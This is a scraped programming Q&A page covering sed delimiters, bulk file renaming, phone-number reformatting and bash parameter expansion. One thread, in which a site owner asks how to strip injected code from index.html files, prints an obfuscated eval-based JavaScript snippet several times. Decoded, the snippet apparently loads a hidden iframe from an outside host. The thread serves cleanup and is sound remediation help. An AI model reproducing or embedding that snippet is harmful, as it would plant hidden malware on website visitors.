Sed appears to be deleting the full line - linux

Hi guys I'm trying to use sed to delete part of a string (its a directory). I'm using it like so
sed -i 's/$1//g' ~/Desktop/RecyclingBin/logs/$1
whenever I open the text file it appears to be blank. Any help would be appreciated..
Also if there's an easier way to output a files location to a text file without the actual filename being in the output that would make life a lot easier currently using:
find $PWD -type d -name "*$1*" >> ~/Desktop/RecyclingBin/logs/$1
thank you in advance!

You can do this in find itself:
find . -type d -name "*$1*" -exec bash -c 'echo "${1##*/}"' - {} \;

Try to use my example
sed -i "s/$1//g" ~/Desktop/RecyclingBin/logs/$1
It works for me.

Always remember, if you want to use a variable in sed expression , you should use "" like the example posted above
Otherwise for normal substitution use single quotes..

If you want to use a variable in sed expression , you should use "" like the example posted above. This is the feature of sed
Otherwise for normal substitution use single quotes..

Related

Find and replace in bash for variables

I am using bash and I was wondering if there is a nice way to do a find and replace on a file using bash. In my case I want to turn a placeholder variable into the orignal variable, working with any number of different variables. For example:
"$PLACEHOLDER_ABC" -> $ABC
"$PLACEHOLDER_123" -> $123
"$PLACEHOLDER_qwe" -> $qwe
I am not sure where to start, should I be using find, sed, a while loop, or all of the above?
Something like
sed 's/\$PLACEHOLDER_/\$/g' file
would remove PLACEHOLDER_ everywhere it is found after a dollar sign, effectively truncating the parameter expansion where it occurs.
You may want to have a look at "m4" the macro processor. The manpages are here. It is included in most Linux/Unix distros.
Here is a little example:
define(`hello', `Hello, World')
hello, welcome to m4!
If we run this file through m4 with the command
m4 sample.m4 > sample.txt
it produces the following output:
Hello, World, welcome to m4!
find filename -exec sed -i 's/\$PLACEHOLDER_/\$/g' {} \;

Partial File Rename with different file types

Sorry if this is very simple compared to usual questions but I am just starting out. I have some files all with the same start name but of different file types, e.g:
1234.x
1234.y
1234.z
1234_V2.x
1234_V2.y
1234_V2.z
I want to rename the first part of these whilst keeping any ending and file type, e.g:
4321.x
4321.y
4321.z
4321_V2.x etc
I have tried using
mv 1234* 4321*
and
rename 1234* 4321*
But no luck! I have also been through all the other SO articles and although I could use a loop, most depend on the file type being the same.
Thanks in advance
You can use bash substitution:
for file in 1234*
do mv "$file" "4321${file#1234}"
done
OR, replace the do mv with the following
do mv "$file" "${file/1234/4321}"
See more in man bash under EXPANSION section, sub-section Parameter Expansion
Assuming your filenames for 1234 and 4321 i.e constant for all files, you can try this
for fn in `find . -name 1234*`
do
newf=`echo $fn | sed s/1234/4321/`
mv $fn $newfn
done
You can use a shell script, but it's kind of ugly because it will fork a lot, and thus, if you have a lot of files to rename, it will take time.
for f in 1234*; do echo mv $f $(echo $f | sed -e 's/1234/4321/'); done
Otherwize, rename is a good way to do it:
rename 's/1234/4321/' 1234*
Rename expects a regular expression as first parameter, see online documentation
See if it works:
rename "s/1234/4321/" 1234*
command means substitute(because of s) occurances of "1234" with "4321" in files that has name of pattern 1234*
You can also look at here. It is slightly more complicated than your case.

Escape characters in shell

First off, I need to give a disclaimer:
DO NOT RUN THIS JAVASCRIPT
It is code that has been injected in to some of my sites by someone unscrupulous. I need to find and replace it (with either a space or nothing). It has specifically targeted index.html and index.htm files with the exact same code in all of them.
The JavaScript is the following (again, don't run it).
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;587!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
I need to find and replace this via a unix-like command line (I don't want to have to go through every file manually).
I have tried the following:
sed -i "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g" *.html
Escaping all the double quotes, but this still throws the error:
sed: -e expression #1, char 2075: unknown option to `s'
However, I know that the s option does work, as I have previously used this to find and replace some PHP.
I have also tried the following, but to no effect either (throws the same error):
find . \( -name "*.html" -or -name "*.htm" \) | xargs grep -l "<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>" | xargs sed -i -e "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g"
What is causing this error, and how can I fix it?
I am at a loss as to what is causing that error, so any help is greatly appreciated.
The problem is that you're not escaping the special characters in the text, such as the / delimiter.
The easiest solution is to pick a different delimiter and to specify only a part of the string, for instance
find . -name '*.html' -o -name '*.htm' |
xargs fgrep -l '<script>i=0;try' |
xargs perl -i.infected -pe 's#<script>i=0;try.*?</script>##g'
(untested) may do the job.
(The .*? construct picks the shortest match; I don't know how to do that in sed.)
Verify with something like
find . -name '*.infected' | sed -e 's#.*#diff & &#' -e 's#.infected##' | sh -x
The sed error came from the fact that the syntax for search and replace is:
s/text/replace/options
But in your text a / appears, so the get the parts test, replace and options wrong.
There is an easy solution. sed does not need to use the / as the delimiter between the argumens. You can use any char you want. Just pick one not appearing in your text, e.g # or % (the first delimiter (the one after the intial s) is the delimiter he expects in the rest of the command)..

How to do this under linux/unix?

There have a million webpages, each page may have some phone numbers with two
formats (XXX)XXX-XXXX, XXX-XXX-XXXX, how to find them out and update them into a unified format, i.e., 1-xxx-xxx-xxxx. How to do that using Linux or Unix commands?
cat ph.txt
111-222-3333-4444
(222)-234-2932-2929
212-939-2929-2929
using sed you can change millon webpages
cat ph.txt | sed -e 's/^(//;s/)//;s/^/1-/'
1-111-222-3333-4444
1-222-234-2932-2929
1-212-939-2929-2929
for all html files
find dirname -type f -name "*.html" -exec sed -e 's/^(//;s/)//;s/^/1-/' {} \;
sed -e 's/(\([[:digit:]]\{3\}\))\([[:digit:]]\{3\}-[[:digit:]]\{4\}\)/\1-\2/g' -e 's/[[:digit:]]\{3\}-[[:digit:]]\{3\}-[[:digit:]]\{4\}/1-&/g'
Something like that. First command changes parenthesis' style to hyphen style, second command adds 1- to it.
This command works with either format in one step:
sed 's/(\?\([[:digit:]]\{3\}\)[)-]\?\([[:digit:]]\{3\}-[[:digit:]]\{4\}\)/1-\1-\2/g' inputfile
It will change other number formats, too, though, including "123456-7890", "(123456-7890" and "123)456-7890".

how to manipulate strings with shell-script

This is what I used:
for i in `find some -type f -name *.class`
I got:
some/folder/subOne/fileOne.class
some/folder/subOne/fileTwo.class
some/other/sub/file.class
next, I would like to get rid of the "some/" for each value of $i. What command can I use? Do I HAVE to save them into a file first?
Thanks
$ i=some/other/sub/file.class
$ echo ${i#some/}
other/sub/file.class
Bash has simple string manipulation built in. See also ${i%.class} and the basename and dirname commands.
awk :)
http://en.wikipedia.org/wiki/AWK
EDIT: Oh and you can pipe commands together, so the output of the first command acts as the input for the second. Like 'cat example.txt | less' will output the file through a paginator.

Resources